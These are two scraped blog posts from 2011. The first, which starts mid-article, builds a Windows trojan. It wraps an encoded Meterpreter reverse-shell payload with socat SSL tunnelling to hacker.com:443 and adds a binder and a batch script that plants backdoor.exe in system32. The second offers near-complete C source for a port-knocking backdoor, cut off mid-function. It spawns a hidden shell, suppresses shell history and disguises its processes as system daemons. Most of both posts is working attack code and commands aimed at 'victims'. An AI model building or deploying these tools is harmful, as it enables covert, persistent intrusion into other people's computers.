<h3>3.1. Build socat for Linux</h3>
<pre><span style="color: #3366ff;"><span style="color: #993300;">[root@host root]$</span> tar xzf socat-2.0.0-b4.tar.gz
<span style="color: #993300;">[root@host root]$</span> cd socat-2.0.0-b4
<span style="color: #993300;">[root@host socat-2.0.0-b4]$</span> ./configure
<span style="color: #993300;">[root@host socat-2.0.0-b4]$</span> make
<span style="color: #993300;">[root@host socat-2.0.0-b4]$</span> ./socat -V
<span style="color: #339966;">socat by Gerhard Rieger - see www.dest-unreach.org
socat version 2.0.0-b4 on Jan  1 2011 21:27:04</span></span></pre>
<h3>3.2. Build socat for Windows (Cygwin)</h3>
<p>We need socat.exe also for the victim computer. Unfortunately, <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> version 2.0.0-b4 doesn&#8217;t compile correctly under cygwin (socat 2 is only a beta version). But, it&#8217;s easy to fix ! It&#8217;s only some lines of code to comment out, and two variables that must be renamed.</p>
<p>Try to compile by yourself,  look at the compilation error messages, and fix it. It&#8217;s around:</p>
<ul>
<li>socat-2.0.0-b4/xio-ip.c line 475</li>
<li>socat-2.0.0-b4/xioopts.c line 4000</li>
</ul>
<h3>3.3. Generate client and server SSL certificates</h3>
<p>Use the following <a href="http://www.openssl.org/" target="_blank">openssl</a> commands to generate <strong>server.pem</strong> and <strong>server.crt</strong> files.</p>
<pre><span style="color: #3366ff;"><span style="color: #993300;">[root@host root]$</span> <span style="color: #ff0000;"><span style="color: #3366ff;">FILENAME=</span>server
</span><span style="color: #993300;">[root@host root]$</span> openssl genrsa -out $FILENAME.key 1024
Generating RSA private key, 1024 bit long modulus
.++++++
..............++++++
e is 65537 (0x10001)
<span style="color: #993300;">[root@host root]$</span> openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
You are about to be asked to enter information that will be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:<span style="color: #ff0000;"><strong>server &lt;--- !!!</strong>
</span>Email Address []:
<span style="color: #993300;">[root@host root]$</span> cat $FILENAME.key $FILENAME.crt &gt;$FILENAME.pem
<span style="color: #993300;">[root@host root]$</span> chmod 600 $FILENAME.key $FILENAME.pem</span></pre>
<p>Do the same operations for the <strong>client.pem</strong> and <strong>client.crt</strong> files.</p>
<pre><span style="color: #3366ff;"><span style="color: #993300;">[root@host root]$</span> <span style="color: #ff0000;"><span style="color: #3366ff;">FILENAME=</span>client</span>
<span style="color: #993300;">[root@host root]$</span> openssl genrsa -out $FILENAME.key 1024
<span style="color: #993300;">[root@host root]$</span> ...
</span></pre>
<h3>3.4. Test socat with SSL</h3>
<p>Create a listener inside console 1 (evil side)</p>
<pre><span style="color: #3366ff;"><span style="color: #800000;">[root@host root]$</span> socat \
   <span style="color: #ff0000;">OPENSSL-LISTEN</span>:433,reuseaddr,cert=<span style="color: #339966;">server.pem</span>,cafile=<span style="color: #339966;">client.crt</span> \
   <span style="color: #ff0000;">EXEC</span>:/bin/sh</span></pre>
<p>Connect from console 2 (victim side)</p>
<pre><span style="color: #3366ff;"><span style="color: #800000;">[root@host tmp]$</span> socat \
   <span style="color: #ff0000;">STDIO </span>\
   <span style="color: #ff0000;">OPENSSL-CONNECT</span>:localhost:433,cert=<span style="color: #339966;">client.pem</span>,cafile=<span style="color: #339966;">server.crt</span>
<span style="color: #008000;"><strong>pwd</strong></span>
/tmp
<span style="color: #339966;"><strong>id</strong></span>
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy)
<span style="color: #008000;"><strong>uname -a</strong></span>
Linux revix 2.6.26 #1 SMP Wed Aug 26 00:35:33 CEST 2009 i686 GNU/Linux</span></pre>
<p>Great ! your SSL tunnel is working fine.<br />
<br class="spacer" /></p>
<h2>4. Get Metasploit working</h2>
<h3>4.1. The Metasploit framework</h3>
<p>We assume you already have a working copy of the latest <a href="http://www.metasploit.com/" target="_blank">Metasploit</a> framework.</p>
<h3>4.2. Generate and encode a Metasploit payload</h3>
<pre><span style="color: #3366ff;"><span style="color: #993300;">[root@host msf]$</span> ./msfpayload windows/meterpreter/reverse_tcp \
   <span style="color: #ff0000;">LHOST</span>=127.0.0.1 <span style="color: #ff0000;">LPORT</span>=2222 R | \
   ./msfencode -t exe -o <strong>mt.exe</strong> -e x86/shikata_ga_nai -c 4
<span style="color: #339966;">[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
<span style="color: #993300;">[root@host msf]$</span></span></span></pre>
<p><br class="spacer" /></p>
<h2>5. Try Metasploit trough an SSL Socat tunnel</h2>
<h3>5.1. On the Hacker side</h3>
<p><span style="text-decoration: underline;">Inside Console 1</span>: Start <strong>Metasploit</strong> handler and wait for a local connection from <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> (listen on 127.0.0.1:3333).</p>
<pre><span style="color: #3366ff;"><span style="color: #993300;">[root@host msf]$</span> ./msfcli exploit/multi/handler \</span>
<span style="color: #3366ff;">  <span style="color: #ff0000;">PAYLOAD</span>=windows/meterpreter/reverse_tcp <span style="color: #ff0000;">LHOST</span>=127.0.0.1 <span style="color: #ff0000;">LPORT</span>=3333 <span style="color: #ff0000;">E</span></span></pre>
<p><span style="text-decoration: underline;">Inside Console 2</span>: Start <strong>Socat</strong>, wait for the victim connection on HTTPS port and forward everything to the <a href="http://www.metasploit.com/" target="_blank">Metasploit</a> handler (127.0.0.1:3333).</p>
<pre><span style="color: #3366ff;"><span style="color: #993300;">[root@host msf]$</span> socat \
  <span style="color: #ff0000;">OPENSSL-LISTEN</span>:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 \
  <span style="color: #ff0000;">TCP</span>:127.0.0.1:3333</span></pre>
<h3>5.2. On the victim side</h3>
<p><span style="text-decoration: underline;">Under Cygwin:</span> Start the other side of the <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> tunnel (don&#8217;t forget to copy <strong>client.pem</strong> and <strong>server.crt</strong> certificate files in the same directory than socat.exe). <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> will wait for local connection from Meterpreter (on TCP port 2222), and will try to connect to <strong>hacker.com</strong> on TCP port <strong>443.</strong></p>
<pre><span style="color: #3366ff;"><strong><span style="color: #993300;">cygwin&gt;</span></strong> socat.exe \
  <span style="color: #ff0000;">TCP-LISTEN</span>:2222 \
  <span style="color: #ff0000;">OPENSSL</span>,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|<span style="color: #ff0000;">TCP</span>:<span style="color: #339966;">hacker.com:443</span>,connect-timeout=5
</span></pre>
<p><span style="text-decoration: underline;">And then: Click on the Meterpreter payload</span></p>
<p><span style="text-decoration: underline;"><a href="http://funoverip.net/wp-content/uploads/2011/01/mt-exe01.png"><img class="alignnone size-full wp-image-868" title="mt-exe" src="http://funoverip.net/wp-content/uploads/2011/01/mt-exe1.png" alt="" width="61" height="61" /></a><br />
</span></p>
<h3>5.3. Go back to the hacker side</h3>
<p>An usual Meterpreter session should be open</p>
<pre><span style="color: #0000ff;">[*] Starting the  payload handler...
[*] Started reverse handler on port 3333
[*] Sending  stage (719360 bytes)
[*] Meterpreter session 1 opened (127.0.0.1:3333  -&gt; 127.0.0.1:1191)

meterpreter&gt;</span></pre>
<p><br class="spacer" /></p>
<h2>6. How to add proxy server in the chain</h2>
<p>Today, it is not possible to use proxy servers with <strong>reserse_https</strong> stager yet. This is why we are using Socat.</p>
<p>To use a proxy server on the ictim side, change the <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> parameter of the victim from:</p>
<pre><span style="color: #3366ff;"><span style="color: #ff0000;">OPENSSL</span>,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|<span style="color: #ff0000;">TCP</span>:<span style="color: #339966;">hacker.com:443</span>,connect-timeout=5</span></pre>
<p>to</p>
<pre><span style="color: #3366ff;"><span style="color: #ff0000;">OPENSSL</span>,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|<span style="color: #ff0000;">PROXY</span>:<span style="color: #339966;">hacker.com:443</span>,connect-timeout=5|<span style="color: #ff0000;">TCP</span>:<span style="color: #339966;">proxy.lan:8080</span>,connect-timeout=5</span></pre>
<p><br class="spacer" /></p>
<h2>7. Create a C binder and put everything together</h2>
<p>Before going further, here is a brief reminder: <em>We chose Windows XP as victim platform, but we prefer developing code under Linux environment. </em>This way, the code can run under Linux and be ported to Windows by using gcc from Cygwin.<em><br />
</em></p>
<p>For this reason, the Windows version of the backdoor will be compiled under <strong>Cygwin</strong>. Which means that <strong>cygwin1.dll</strong> must exist on the system so that the exe file works. Don&#8217;t bother with that issue, the next section will answer to that.</p>
<p>Follow the instructions provided on the post: <a href="http://funoverip.net/2010/12/create-your-own-trojan-binder/" target="_blank">http://funoverip.net/2010/12/create-your-own-trojan-binder/</a> and build your own binder.</p>
<p><span style="color: #808080;"><em>(later&#8230;)</em></span></p>
<p>Now you have a self-extractable reverse backdoor containing socat, the payload, client.pem and server.crt. The only remaining issue is that the code has been compiled under cygwin, and will only work if cygwin1.dll is present on the victim computer. See the next section.<br />
<br class="spacer" /></p>
<h2>8. Bind cygwin1.dll to the exe file</h2>
<p>Did you know that Windows XP offers you a great tool for doing that ? It is called &#8220;<strong>iexpress</strong>&#8220;, just type it in your command prompt.</p>
<p>We will not spend much time on <strong>iexpress</strong> because many tutorials already exist on Internet. You only need to know that we use iexpress for:</p>
<ul>
<li>decompress <em><span style="color: #3366ff;">backdoor.exe</span></em>, <em><span style="color: #3366ff;">cygwin1.dll</span></em> and a batch script called &#8220;<em><span style="color: #3366ff;">run.cmd</span></em>&#8220;.</li>
<li>start <em><span style="color: #3366ff;">run.cmd</span></em> which will copy the files into <span style="color: #3366ff;">%WinDir%\system32\ <span style="color: #000000;">and execute <em><span style="color: #3366ff;">backdoor.exe</span></em> file.</span><br />
</span></li>
</ul>
<p>The content of <em><span style="color: #3366ff;">run.cmd</span></em> looks like this:</p>
<pre class="brush: bash; title: ; notranslate">@echo off
copy /Y backdoor.exe %WinDir%\system32\
copy /Y cygwin1.dll %WinDir%\system32\
cd %WinDir%\system32\
start /B /I backdoor.exe</pre>
<p><br class="spacer" /></p>
<h2>9. The End</h2>
<p>Hope you enjoy.</p>
<p><br class="spacer_" /><br />
Note: There is a rating embedded within this post, please visit this post to rate it.</p>
<p style='text-align:left'>&copy; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: cD00r Knocking backdoor (improved)
source: http://funoverip.net/2011/03/cd00r-knocking-backdoor-improved/
author: foip
description:
<h2>1. Introduction</h2>
<p>Standard backdoors and remote access services have one major drawback: The port&#8217;s they are listening on are visible on the system console as well as from outside (through port scanning).</p>
<p>One of my favorite backdoor is called <strong>cd00r</strong> (from phenoelit.de). This backdoor will not listen on any port until you send a sequence of TCP SYN packets  on a defined port list, and in the correct order. Once the correct list of SYN packet is received by the compromised host, a shell will spawn on a (hard-coded) TCP port, and will wait for you. Brilliant !</p>
<p>In order to successfully use this backdoor, you need at least one TCP port unused and unfiltered by firewall to allow the shell to listen on the network. That port must be seen as &#8220;<strong>closed</strong>&#8221; from a port scan.</p>
<p>I&#8217;ve decided to improve a bit the backdoor for my self usage.  Because I&#8217;m a nice guy, I choose to share it with you.</p>
<ol>
<li>First, we will remove the hard-coded listening port and let you choose the port dynamically. How ? simply by providing the listening port at the end of the knocking ports list. So basically, you will have to send your defined list of SYN packets to the victim, and then send the port number you&#8217;d like to use for the remote shell.</li>
<li>Secondly, we rewrote the shell part of code to use pseudo-terminal (PTY). Giving us a chance to work on more recent Linux distribution.</li>
</ol>
<p><span id="more-706"></span></p>
<h2>2. Example of usage</h2>
<pre># t="telnet host.victim.com"
# <span style="color: #ff0000;">$t 999; $t 888; $t 777 ; $t 666; $t 555;</span> <span style="color: #008000;">$t 12345 ;</span> sleep 1 ; <span style="color: #0000ff;">$t 12345</span></pre>
<p><span style="color: #ff0000;">In red: </span>The knocking SYN phase. We will send SYN packets on port <span style="color: #ff0000;">999</span>, <span style="color: #ff0000;">888</span>, <span style="color: #ff0000;">777</span>, <span style="color: #ff0000;">666</span> and <span style="color: #ff0000;">555</span></p>
<p><span style="color: #008000;">In green: </span>The port choose for spawning a shell on. In this case <span style="color: #008000;">12345</span></p>
<p><span style="color: #0000ff;">In blue: </span>The connection to that shell (on port <span style="color: #0000ff;">12345</span>). Note the &#8220;sleep 1&#8243; before the connection, it is simply to give extra time to the backdoor to start the shell.</p>
<h2>3. What about Firewall ?</h2>
<p>There is a good and a bad news here.</p>
<p>Regarding the knocking ports, you don&#8217;t need to use unfiltered ports on the victim host. Because the backdoor use libpcap to listen to your SYN packets, and that this listening phase occurs on layer 2 of the TCP/IP stack (data-link). The process will be able to see your packets coming even if <strong>iptables</strong> is running.</p>
<p>The bad news is, you still need a <strong>non-filtered</strong> and <strong>non-used</strong> port for the shell (from a port scanning view, the port must be seen as &#8220;<strong>closed</strong>&#8220;).</p>
<p>Another aspect that you must keep in mind is that the knocking SYN packet must be sent in the <strong>correct</strong> order and <span style="text-decoration: underline;">without any packet retransmission</span> (because it will break the sequence). This is important to remember when the knocking ports are filtered (dropped) by a firewall (even they will be seen by the backdoor). Indeed, telnet (or equivalent) will resent a new SYN packet after a few seconds because no SYN-ACK are received from the host. Thus, when these ports are filtered/dropped, you just have to hit Ctrl-C after each emission during the <span style="color: #ff0000;">red</span> phase of the example showed in section 2.</p>
<h2>4. The source code</h2>
<p>Download: <a href="http://funoverip.net/wp-content/uploads/2011/03/cd00r.c.gz">cd00r.c.gz</a></p>
<p>The only thing you must edit are the following definitions:</p>
<pre>#define CDR_INTERFACE		"eth0"             // The interface when to listen
#define CDR_ADDRESS		"192.168.100.1"   // The ip address of the victim
#define CDR_PORTS		{ 999,888,777,666,555,00 }  // The knocking port list, must end by 00.</pre>
<p>The only thing you could edit are the following definitions:</p>
<pre>#define MASK_DEAMON 	"acpid"    // process name of the backdoor
#define MASK_SHELL	"udevd"    // process name of the shell (when run)</pre>
<p>To compile the code, you need libpcap devel package (libpcap-dev) and add<strong> &#8220;-DUSE_PCAP -lpcap&#8221;</strong> to gcc. You may add <strong>&#8220;-DDEBUG&#8221;</strong> aswell for debugging purpose.</p>
<pre class="brush: cpp; title: ; notranslate">
/* cdoor.c
 *
 *
 	Usage:  --pcap  (compile with &quot;-DUSE_PCAP -lpcap&quot;)
        	--port &lt;port&gt; [-p]
 *
 *
 */

//#define USE_PCAP

#define PASSWORD 	&quot;rgb&quot;
#define BACKLOG 	5
#define SHELL 		&quot;/bin/sh&quot;

#define ENV_HOME 	&quot;/tmp&quot;
#define ENV_HISTFILE	&quot;/dev/null&quot;
#define ENV_PS1         &quot;[&#92;&#48;33[32;1m#$&#92;&#48;33[0m] &quot;

#define MASK_DEAMON 	&quot;acpid&quot;
#define MASK_SHELL	&quot;udevd&quot;

#ifdef USE_PCAP
// For pcap listener
#define CDR_INTERFACE		&quot;eth0&quot;
#define CDR_ADDRESS		&quot;192.168.100.1&quot;
#define CDR_PORTS		{ 999,888,777,666,555,00 }
#define CDR_CODERESET
#define CDR_SENDER_ADDR
#define CDR_NOISE_COMMAND	&quot;noi&quot;
#endif

/****************************************************************************
 * Nothing to change below this line (hopefully)
 ****************************************************************************/
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;signal.h&gt;
#include &lt;netinet/in.h&gt;                 /* for IPPROTO_bla consts */
#include &lt;sys/socket.h&gt;                 /* for inet_ntoa() */
#include &lt;arpa/inet.h&gt;                  /* for inet_ntoa() */
#include &lt;netdb.h&gt;			/* for gethostbyname() */
#include &lt;sys/types.h&gt;			/* for wait() */
#include &lt;sys/wait.h&gt;			/* for wait() */
#include &lt;fcntl.h&gt;

#include &lt;linux/tcp.h&gt;

//PTS
#include &lt;sys/stropts.h&gt;

#include &lt;sys/resource.h&gt;
#include &lt;sys/utsname.h&gt;

// For tty
#define TIOCSCTTY       0x540E
#define TIOCGWINSZ      0x5413
#define TIOCSWINSZ      0x5414
#define ECHAR   	0x1d
#define BUF     	32768

#ifdef USE_PCAP

#include &lt;pcap.h&gt;
//#include &lt;pcap/bpf.h&gt;
//#include &lt;net/bpf.h&gt;
#define ETHLENGTH 	14
#define IP_MIN_LENGTH 	20
#define CAPLENGTH	98

struct iphdr {
        u_char  ihl:4,
        version:4;
 	u_char  tos;
        short   tot_len;
        u_short id;
	short   off;
        u_char  ttl;
        u_char  protocol;
        u_short check;
        struct  in_addr saddr;
	struct  in_addr daddr;
};

/*
struct tcphdr {
        unsigned short int 	src_port;
	unsigned short int 	dest_port;
        unsigned long int 	seq_num;
        unsigned long int 	ack_num;
	unsigned short int	rawflags;
        unsigned short int 	window;
        long int 		crc_a_urgent;
        long int 		options_a_padding;
};
*/

/* the ports which have to be called (by a TCP SYN packet), before
 * cd00r opens
 */
unsigned int 	cports[] = CDR_PORTS;
int		cportcnt = 0;
/* which is the next required port ? */
int		actport = 0;
#endif

#ifdef CDR_SENDER_ADDR
/* some times, looking at sender's address is desired.
 * If so, sender's address is saved here */
struct in_addr	sender;
#endif

struct winsize {
        unsigned short ws_row;
        unsigned short ws_col;
        unsigned short ws_xpixel;
        unsigned short ws_ypixel;
};

int open_tty_shell(int,int,int);
#ifdef USE_PCAP
void start_pcap_listener();
#endif

void show_help(char *progname){
	//printf (&quot;Usage: --pcap  (compile with \&quot;-DUSE_PCAP -lpcap\&quot;)\n&quot;,progname);
        //printf (&quot;       --port &lt;port&gt; [-p]\n&quot;,progname);
}

int main (int argc, char *argv[]){

	int port;

#ifdef USE_PCAP
	if (argc &lt; 2){
		show_help(argv[0]);
		exit(0);
	}
#else
        if (argc &lt; 3){ // Need port
                show_help(argv[0]);
		exit(0);
        }
#endif

        // hidden cmd for &quot;PS&quot; command:
        memset(argv[0],0,strlen(argv[0]));
	strcpy(argv[0], MASK_DEAMON);

#ifdef USE_PCAP
        if(strncmp(argv[1],&quot;--pcap&quot;,6) == 0){
		memset(argv[1],0,strlen(argv[1])); // hide arg
		start_pcap_listener(port);
	}else{
#endif
		if (strncmp(argv[1],&quot;--port&quot;,6) == 0){
			memset(argv[1],0,strlen(argv[1])); // hide arg
			port = atoi(argv[2]); //get port
			memset(argv[2],0,strlen(argv[2])); // hide arg
			if (argc == 4 &amp;&amp; (strncmp(argv[3],&quot;-p&quot;,2) == 0)){ // Continue to Accept new clients ?
				memset(argv[3],0,strlen(argv[3])); // arg
				open_tty_shell(port,0,1); // Be persistent
			}else{
				open_tty_shell(port,0,0);
			}

		}else{
			show_help(argv[0]);
			exit(0);
		}
#ifdef USE_PCAP
	}
#endif

	return 0;
}

/*

int open_tty(int *tty, int *pty){

	char *slave;

	*pty = open(&quot;/dev/ptmx&quot;, O_RDWR);
     	grantpt(*pty);
     	unlockpt(*pty);
     	slave = (char*)ptsname(*pty);
#ifdef DEBUG
	printf(&quot;DEBUG: tty:%s\n&quot;,slave);
#endif
	*tty = open(slave, O_RDWR);
     	ioctl(*tty, I_PUSH, &quot;ptem&quot;);
     	ioctl(*tty, I_PUSH, &quot;ldterm&quot;);

        return 1;
}

*/

/*****************************************/

void    get_tty(int num, char *base, char *buf)
{
        char    series[] = &quot;pqrstuvwxyzabcde&quot;;
        char    subs[] = &quot;0123456789abcdef&quot;;
        int     pos = strlen(base);
        strcpy(buf, base);
        buf[pos] = series[(num &gt;&gt; 4) &amp; 0xF];
        buf[pos+1] = subs[num &amp; 0xF];
        buf[pos+2] = 0;
}

/////////////////////////////////////////////

int     open_tty(int *tty, int *pty)
{
        char    buf[512];
        int     i, fd;

        fd = open(&quot;/dev/ptmx&quot;, O_RDWR);
        close(fd);

        for (i=0; i &lt; 256; i++) {
                get_tty(i, &quot;/dev/pty&quot;, buf);
                *pty = open(buf, O_RDWR);
                if (*pty &lt; 0) continue;
                get_tty(i, &quot;/dev/tty&quot;, buf);
                *tty = open(buf, O_RDWR);
                if (*tty &lt; 0) {
                        close(*pty);
                        continue;
                }
                return 1;
        }
        return 0;
}

/*********************************/

void sig_child(int i){
        signal(SIGCHLD, sig_child);
        waitpid(-1, NULL, WNOHANG);
}

void hangout(int i){
        kill(0, SIGHUP);
        kill(0, SIGTERM);
}

int open_tty_shell(int port, int from_pcap /* bool */ , int persistent /* bool */){

	int 	i;
        int     pid;
        struct  sockaddr_in     serv;
        struct  sockaddr_in     cli;
        int     sock;
        int     scli;
        int     slen;
	int 	optval;

        int     subshell;
        int     tty;
        int     pty;
        fd_set  fds;
        char    buf[BUF];
        char    *envp[10];
        char    *argv[10];
        char    env_home[64];
        char    env_ps1[64];
        char    env_histfile[64];
        char    shell_name[64];
        char    shell_arg1[32];

#ifdef DEBUG
	printf (&quot;DEBUG: Strart open_tty_shell(port:%d,from_pcap:%d,persistent:%d)\n&quot;,port,from_pcap,persistent);
#endif

        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock &lt; 0) {
                perror(&quot;socket&quot;);
                return 1;
        }

        bzero((char *) &amp;serv, sizeof(serv));
        serv.sin_family = AF_INET;
        serv.sin_addr.s_addr = htonl(INADDR_ANY);
        serv.sin_port = htons(port);

	// set SO_REUSEADDR on a socket to true (1):
	optval = 1;
	setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &amp;optval, sizeof(optval));

	if (bind(sock, (struct sockaddr *) &amp;serv, sizeof(serv)) &lt; 0) {
                perror(&quot;bind&quot;);
                return 1;
        }

        if (listen(sock, 5) &lt; 0) {
                perror(&quot;listen&quot;);
                return 1;
        }

        fflush(stdout);

    	/* go daemon */
	if(!from_pcap){
		// already done in pcap routine
    		switch (i=fork()) {
	        case -1:
#ifdef DEBUG
        	    printf(&quot;DEBUG: fork() failed\n&quot;);
#endif
	    	exit (0);
            	break;      /* not reached */
        	case 0:
            		/* I'm happy */
            		break;
        	default:
            		exit (0);
    		}
	}else{
	        setsid();
        	chdir(&quot;/&quot;);

	        pid = open(&quot;/dev/null&quot;, O_RDWR);
        	dup2(pid, 0);
	        dup2(pid, 1);
        	dup2(pid, 2);

	        close(pid);
	        signal(SIGHUP, SIG_IGN);
	        signal(SIGCHLD, sig_child);

	}

        slen = sizeof(cli);

	// Shell

        sprintf(shell_name,MASK_SHELL);
        sprintf(shell_arg1,&quot;-i&quot;);
        argv[0] = shell_name;
        argv[1] = shell_arg1;
        argv[2] = NULL;

        /* setup enviroment */
	sprintf(env_ps1,      &quot;PS1=%s&quot;, ENV_PS1);
        sprintf(env_home,     &quot;HOME=%s&quot;, ENV_HOME);
        sprintf(env_histfile, &quot;HISTFILE=%s&quot;, ENV_HISTFILE);
        envp[1] = env_home;
        envp[0] = env_ps1;
        envp[2] = env_histfile;
        envp[3] = NULL;

	do{
		scli = accept(sock, (struct sockaddr *) &amp;cli, &amp;slen);
		/* create new group */
                setpgid(0, 0);
	        /* open slave &amp; master side of tty */
		if (!open_tty(&amp;tty, &amp;pty)) {
                	char    msg[] = &quot;Can't fork pty, bye!\n&quot;;
	                write(scli, msg, strlen(msg));
        	        close(scli);
                	exit(0);
                }

   	        /* fork child */
               	subshell = fork();
                if (subshell == 0) {

       	                /* close master */
               	        close(pty);
                       	/* attach tty */
                        setsid()	;
       	                ioctl(tty, TIOCSCTTY);
               	        /* close local part of connection */
                       	close(scli);
                        close(sock);
       	                signal(SIGHUP, SIG_DFL);
               	        signal(SIGCHLD, SIG_DFL);
                       	dup2(tty, 0);
                        dup2(tty, 1);
       	                dup2(tty, 2);
       	                close(tty);
               	        execve(&quot;/bin/sh&quot;, argv, envp);
                }
       	       /* close slave */
               	close(tty);
		signal(SIGCHLD,SIG_IGN);

               	while (1) {
                       	/* watch tty and client side */
                        FD_ZERO(&amp;fds);
       	                FD_SET(pty, &amp;fds);
                        FD_SET(scli, &amp;fds);
       	                if (select((pty &gt; scli) ? (pty+1) : (scli+1),
                            &amp;fds, NULL, NULL, NULL) &lt; 0) {
#ifdef DEBUG
	                    printf(&quot;Error select\n&quot;);
#endif
			    	break;
                       	}
                        if (FD_ISSET(pty, &amp;fds)) {
       	                        int     count;
               	                count = read(pty, buf, BUF);
                       	        if (count &lt;= 0) break;
                                if (write(scli, buf, count) &lt;= 0) break;
       	                }
              	        if (FD_ISSET(scli, &amp;fds)) {
                                int     count;
       	                        unsigned        char *p, *d;
               	                d = buf;
                                count = read(scli, buf, BUF);
       	                        if (count &lt;= 0) break;

               	                /* setup win size */
                       	        p = memchr(buf, ECHAR, count);
                                if (p) {
       	                                unsigned char   wb[5];
               	                        int     rlen = count - ((ulong) p - (ulong) buf);
                       	                struct  winsize ws;
                               	        /* wait for rest */
                                       	if (rlen &gt; 5) rlen = 5;
                                        memcpy(wb, p, rlen);
       	                                if (rlen &lt; 5) {
               	                                read(scli, &amp;wb[rlen], 5 - rlen);
                                        }

       	                                /* setup window */
               	                        ws.ws_xpixel = ws.ws_ypixel = 0;
                       	                ws.ws_col = (wb[1] &lt;&lt; <img src='http://funoverip.net/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> + wb[2];
                               	        ws.ws_row = (wb[3] &lt;&lt; <img src='http://funoverip.net/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> + wb[4];
                                       	ioctl(pty, TIOCSWINSZ, &amp;ws);
                                        kill(0, SIGWINCH);
       	                                /* write the rest */
               	                        write(pty, buf, (ulong) p - (ulong) buf);
                       	                rlen = ((ulong) buf + count) - ((ulong)p+5);
                               	        if (rlen &gt; 0) write(pty, p+5, rlen);
                                } else
       	                                if (write(pty, d, count) &lt;= 0) break;
               	        }
                } //end while(1)  (read tty)

                close(scli);
		close(pty);
		waitpid(subshell, NULL, 0);

		if(!persistent || from_pcap){
        		close(sock);
                        return 0;
		}

	} while(persistent &amp;&amp; !from_pcap);

	close(sock);
	return 0;

}

#ifdef USE_PCAP
/* error function for pcap lib */
void capterror(pcap_t *caps, char *message) {
    pcap_perror(caps,message);
    exit (-1);
}

/* signal counter/handler */
void signal_handler(int sig) {
    /* the ugly way ... */
    _exit(0);
}

void *smalloc(size_t size) {
    void	*p;

    if ((p=malloc(size))==NULL) {
	exit(-1);
    }
    memset(p,0,size);
    return p;
}
#endif // USE_PCAP

#ifdef USE_PCAP
/* general rules in main():
 * 	- errors force an exit without comment to keep the silence
 * 	- errors in the initialization phase can be displayed by a
 * 	  command line option
 */
void start_pcap_listener (int port) {

    /* variables for the pcap functions */
#define	CDR_BPF_PORT 	&quot;port &quot;
#define	CDR_BPF_HOST 	&quot;host &quot;
#define CDR_BPF_ORCON	&quot; or &quot;
    char 		pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */
    pcap_t 		*cap;                       /* capture handler */
    bpf_u_int32 	network,netmask;
    struct pcap_pkthdr 	*phead;
    struct bpf_program 	cfilter;	           /* the compiled filter */
    struct iphdr 	*ip;
    struct tcphdr 	*tcp;
    u_char		*pdata;
    /* for filter compilation */
    char		*filter;
    char		portnum[6];
    char		hostip[16];
    /* command line */
    int			cdr_noise = 0;
    /* the usual int i */
    int			i;
    int 		time_to_get_listen_port=0;
    /* for resolving the CDR_ADDRESS */
#ifdef CDR_ADDRESS
    struct hostent	*hent;
#endif //CDR_ADDRESS

    /* resolve our address - if desired */
#ifdef CDR_ADDRESS
    if ((hent=gethostbyname(CDR_ADDRESS))==NULL) {
	if (cdr_noise)
	    fprintf(stderr,&quot;gethostbyname() failed\n&quot;);
	exit (0);
    }
#endif //CDR_ADDRESS

    /* count the ports our user has #defined */
    while (cports[cportcnt++]);
    cportcnt--;
#ifdef DEBUG
    printf(&quot;%d ports used as code\n&quot;,cportcnt);
#endif //DEBUG

    /* to speed up the capture, we create an filter string to compile.
     * For this, we check if the first port is defined and create it's filter,
     * then we add the others */

    if (cports[0]) {
	memset(&amp;portnum,0,6);
	sprintf(portnum,&quot;%d&quot;,cports[0]);
	filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1);
	strcpy(filter,CDR_BPF_PORT);
	strcat(filter,portnum);
    } else {
	if (cdr_noise)
	    fprintf(stderr,&quot;NO port code\n&quot;);
	exit (0);
    }

    /* here, all other ports will be added to the filter string which reads
     * like this:
     * port &lt;1&gt; or port &lt;2&gt; or port &lt;3&gt; ...
     * see tcpdump(1)
     */

    for (i=1;i&lt;cportcnt;i++) {
	if (cports[i]) {
	    memset(&amp;portnum,0,6);
	    sprintf(portnum,&quot;%d&quot;,cports[i]);
	    if ((filter=(char *)realloc(filter,
			    strlen(filter)+
			    strlen(CDR_BPF_PORT)+
			    strlen(portnum)+
			    strlen(CDR_BPF_ORCON)+1))
		    ==NULL) {
		if (cdr_noise)
		    fprintf(stderr,&quot;realloc() failed\n&quot;);
		exit (0);
	    }
	    strcat(filter,CDR_BPF_ORCON);
	    strcat(filter,CDR_BPF_PORT);
	    strcat(filter,portnum);
	}
    }

    /* initialize the pcap 'listener' */
    if (pcap_lookupnet(CDR_INTERFACE,&amp;network,&amp;netmask,pcap_err)!=0) {
	if (cdr_noise)
	    fprintf(stderr,&quot;pcap_lookupnet: %s\n&quot;,pcap_err);
	exit (0);
    }
    /* open the 'listener' */
    if ((cap=pcap_open_live(CDR_INTERFACE,CAPLENGTH,
		    0,	/*not in promiscuous mode*/
		    0,  /*no timeout */
